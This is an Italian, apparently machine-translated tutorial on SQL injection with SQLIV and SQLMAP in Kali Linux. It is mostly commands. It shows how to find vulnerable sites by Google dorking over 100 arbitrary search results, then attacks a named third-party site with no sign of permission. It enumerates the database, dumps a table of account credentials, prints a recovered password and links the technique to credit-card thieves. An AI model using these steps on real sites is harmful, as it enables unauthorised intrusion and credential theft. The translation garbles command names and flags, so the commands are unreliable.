Iniezione SQL con Kali Linux

Iniezione SQL con Kali Linux
L'uso di database per vari servizi di archiviazione dei dati aumenta notevolmente nello sviluppo delle app Web con il passare del tempo. Il database facilita l'interazione tra utenti e server. Il database (o in termini di sistema di gestione del database abbreviato a DMBS) offre vari vantaggi tra cui l'input e la memoria dei dati, il recupero di grandi informazioni e la facilità di compilazione e raggruppamento di informazioni.

Ma, oltre alla facilità e alle caratteristiche offerte dal database, nonché ai numerosi usi dei database nel mondo dell'informazione e della tecnologia, in particolare nello sviluppo di un sito Web. Pentester incessantemente e hacker stanno cercando di trovare una lacuna nella sicurezza del database. Ciò è confermato dal rapporto pubblicato da ricercatori di tecnologie positive, centri di ricerca sulla sicurezza delle informazioni in Europa, nel secondo trimestre del 2017, i primi 10 attacchi di applicazione Web sono stati dominati dalla descrizione incrociata di 39.1% e iniezione SQL di 24.9%. Positive Technologies ha affermato che il rapporto nel secondo trimestre non è molto diverso dal primo trimestre.

Figura 1. Top 10 attacchi di applicazione Web (fonte PTSecurity.com)

Questo è sia interessante che preoccupante, perché in un database ci sono molte informazioni come conti delle credenziali (amministratore e utente), dettagli sulle informazioni finanziarie (come carte di credito, conti bancari, ecc.) e così via. Inoltre, per fare attacchi di iniezione SQL non richiede sempre capacità di iniezione di esperti, nel senso, i bambini possono farlo. Perché ci sono molte applicazioni gratuite in grado di eseguire automaticamente l'iniezione SQL, come SQLMAP. SQLMAP è un'applicazione open source per le attività di test di penetrazione che mira a condurre attacchi di iniezione SQL in un foro di sicurezza del database automaticamente. Qui ti mostrerò come eseguire l'iniezione SQL usando SQLMAP in Linux Kali. Non sono necessarie capacità speciali, ma varrà di più se padroneggi un linguaggio di scripting o una tecnologia di database SQL.

Questo tutorial è raccomandato per coloro che sono nuovi all'iniezione SQL in Kali Linux, solo per divertimento o che vogliono vedere come funziona l'iniezione SQL. Non è raccomandato a questi sono già tester di penetrazione altamente qualificati.


Ciao, sono Bimando, l'autore di questo articolo. Se ti piace questo articolo, dai un'occhiata all'acquisto del mio libro Practical Ethical Hacking: per i tester di penetrazione con Kali Linux. Ho lavorato duramente con il team di Linux Hint per produrre un prodotto di alta qualità, so che lo adorerai e imparerai molto.


Iniezione SQL usando SQLMAP in Kali Linux

Prima di effettuare l'attacco di iniezione, ovviamente dobbiamo assicurarci che il server o il target abbiano un foro di sicurezza del database. Per trovare fori di sicurezza del database, ci sono diversi metodi che possiamo usare. Tra questi, Google Dorking, è usato principalmente da tester Hacker e Penetration. Fortunatamente c'è uno strumento in grado di farlo automaticamente. Ma dobbiamo prima installare il suo strumento. Lo strumento si chiama SQLIV (scanner di vulnerabilità di iniezione SQL).

Passaggio 1: installa SQLIV su Kali Linux

Digitare i comandi di seguito nel tuo terminale per installare SQLIV:

~# git clone https: // github.com/hadesy2k/sqliv.idiota
~# cd sqliv && sudo python2 setup.py -i

Una volta che SQLIV è installato nel tuo Kali Linux, è memorizzato nel percorso /usr/bin/sqliv. Che, puoi chiamare direttamente dal terminale, digitando "SQLIV". Ora diamo un'occhiata alle funzionalità SQLIV.

Passaggio 2: trovare vulnerabilità di iniezione SQL

Useremo Google Dorking per scansionare e trovare il foro di iniezione SQL nei bersagli. Prendiamo un semplice Dork e lascia che SQLIV scansiona ogni singolo bersaglio e cerchi una vulnerabilità di e -commerce al seguente articolo ".PHP?id = '. Per trovare altri modelli solo Google per "Elenco di Google Dork".

~# sqliv -d inurl: articolo.PHP?id = -e Google -p 100

Per impostazione predefinita, SQLIV striscia la prima pagina sul motore di ricerca, che su Google 10 siti per pagina. Quindi, qui definiamo l'argomento -P 100 Per strisciare 10 pagine (100 siti). Basato sul Dork indicato sopra, abbiamo ottenuto un risultato di URL vulnerabili che assomigliano a questo:

Abbiamo trovato otto dei cento URL scansionati e considerati vulnerabili contro l'attacco di iniezione SQL. Salva gli URL in Editor di testo per ulteriori passaggi.

Passaggio 3: iniezione SQL mediante SQLMAP

Una volta ottenuto almeno un bersaglio vulnerabile di iniezione SQL, successivamente eseguiamo l'attacco usando SQLMAP. Ne prendo uno per essere un campione qui. In primo luogo, dobbiamo rivelare il nome del database, all'interno del database ha tabelle e colonne, che contengono i dati.

URL di destinazione : http: // www.Acfurniture.com/articolo.PHP?id = 25

UN. Enumera il nome del database:

Modello di comando:

~# sqlmap -u "URL target" - -dbs
-U / --url: URL target
--DBS: enumera il nome del database/s

Quindi, il comando compilato sarebbe così:

~# sqlmap -u “http: // www.Acfurniture.com/articolo.PHP?id = 25 " - -dbs

Dal comando sopra, il risultato dovrebbe essere simile a questo

Abbiamo ottenuto il nome del database "Acfurniture".

B. Enumera il nome delle tabelle

Modello di comando:

~# sqlmap -u “urbart url” -d database -name -tables

Quindi, il comando compilato è così:

~# sqlmap -u "http: // www.Acfurniture.com/articolo.PHP?id = 25 "-D AcFurniture -Tables

Il risultato dovrebbe essere simile a questo:

Finora possiamo concludere che la disposizione dei dati è, il sito Acfurniture.com ha due database, Acfurniture E Information_Schema. Il database chiamato Acfurniture contiene quattro tabelle: categoria, prodotto, prodotto_hacked, E impostazioni. Non esiste un nome di tabella compromesso, ma indaghiamo di più. Vediamo cosa c'è dentro impostazioni tavolo. All'interno della tabella sono in realtà ci sono colonne e i dati.

C. Enumerano colonne

Modello di comando:

~# sqlmap -u “target url” -d database -name -t table -name -colonne

Quindi, il comando compilato è così:

~# sqlmap -u "http: // www.Acfurniture.com/articolo.PHP?Id = 25 "-D AcFurniture -t Impostazioni -Colonne

L'output dovrebbe essere simile a questo:

IL impostazioni La tabella è composta da 6 colonne, E questo è in realtà un account credenziale. Consente di scaricare quei dati.

D. Dati di dump

Modello di comando:

~# sqlmap -u “target url” -d database -name -t table -name -c colonne -dump

Quindi, il comando compilato è così:

~# sqlmap -u "http: // www.Acfurniture.com/articolo.PHP?Id = 25 "-D AcFurniture -t Impostazioni -c Nome utente, password -dump

Oppure puoi anche scaricare tutti i dati all'interno della tabella, usando il comando:

~# sqlmap -u "http: // www.Acfurniture.com/articolo.PHP?Id = 25 "-D AcFurniture -t Impostazioni -Dump

L'output dovrebbe essere simile a questo:

E-mail : [email protected]
Nome utente : Bello
Parola d'ordine : 9hpko2nkrhbgmywzizxui

Va bene, abbiamo finito di scaricare i dati nel database utilizzando l'iniezione SQL. I nostri prossimi compiti sono, per trovare il porta o pannello di amministrazione, pagina di accesso di amministrazione sui siti di destinazione. Prima di farlo, assicurati se quella password (9hpko2nkrhbgmywzizxui) sia crittografata o no, in tal caso, allora dobbiamo prima decrittarla. Questo è un altro argomento, cracking e decritting.

Anche qui non stiamo effettivamente hackerando il sito target, almeno abbiamo imparato molto sull'iniezione SQL usando SQLMAP in Kali Linux facilmente e scarichiamo l'account credenziali. Questa tecnica è utilizzata principalmente da Carder (hacker che è alla ricerca di un conto della carta di credito su siti di e-commerce) che si rivolgono a siti finanziari, bancari, negozi o di e-commerce che memorizzano le informazioni sulla carta di credito utente.